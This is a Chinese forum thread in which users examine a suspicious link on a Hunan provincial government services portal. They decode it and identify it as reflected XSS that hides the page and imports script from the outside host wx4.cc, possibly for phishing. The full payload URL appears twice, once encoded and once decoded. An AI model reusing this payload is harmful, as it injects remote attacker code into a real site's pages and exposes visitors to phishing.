这是漏洞被利用了么

magotcai

看不出怎么操作的。
https://zwfw-new.hunan.gov.cn/onething/service/indexSearch.jsp?areacodesearch=439900000000&entid=hunan&wordsearch=11%252522%25257D%25253B%252524%252528%252560*%252560%252529.hide%252528%252529%25253Bimport%252528%252527%25252F%25252Fwx4.cc%25252Fhunan%252527%252529%25253B%25257B%252522&areanamesearch=%2525u6E56%2525u5357%2525u7701&me1sa6=c1aehm12j4f064phiyn7n9kn8ik3zair

a692830

https://zwfw-new.hunan.gov.cn/onething/service/indexSearch.jsp?areacodesearch=439900000000&entid=hunan&wordsearch=11"};$(`*`).hide();import('//wx4.cc/hunan');{"&areanamesearch=湖南省&me1sa6=c1aehm12j4f064phiyn7n9kn8ik3zair

magotcai

a692830 发表于 2024-4-11 11:47
https://zwfw-new.hunan.gov.cn/onething/service/indexSearch.jsp?areacodesearch=439900000000&entid=hun ...

这样看就是这网站js有漏洞呀

a692830

没有多大用啊 微信 QQ均已经拦截

sakuraidc

magotcai 发表于 2024-4-11 11:48
这样看就是这网站js有漏洞呀

反馈一下，说不定有钱拿

个人支付宝接口

多次urldecode后可以看到URL传递的参数如下：

/onething/service/indexSearch.jsp?areacodesearch=439900000000&entid=hunan&wordsearch=11"};$(`*`).hide();import('//wx4.cc/hunan');{"&areanamesearch=%u6E56%u5357%u7701&me1sa6=c1aehm12j4f064phiyn7n9kn8ik3zair

通过wordsearch参数传入的JS代码调用了//wx4.cc/hunan这个JS

func

xss漏洞

BigBug

这帮逼人真牛逼

hins

能跳转钓鱼